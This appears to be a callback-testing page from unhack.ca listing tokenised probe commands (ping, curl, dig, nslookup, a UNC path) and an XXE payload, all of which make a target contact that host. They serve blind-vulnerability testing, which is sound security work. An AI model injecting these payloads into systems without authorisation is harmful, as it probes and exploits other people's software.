$ ping -c1 -p 003f48113986686c37a837a8917bb800 unhack.ca
 

$ curl http://unhack.ca/p/3f48113986686c37a837a8917bb8
 

$ dig 3f48113986686c37a837a8917bb8 @unhack.ca
 

$ dig 3f48113986686c37a837a8917bb8.ns.unhack.ca
 

C:\> nslookup 3f48113986686c37a837a8917bb8 unhack.ca
 

C:\> type \\unhack.ca\3f48113986686c37a837a8917bb8\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3f48113986686c37a837a8917bb8">]>
    <foo>&xxe;</foo>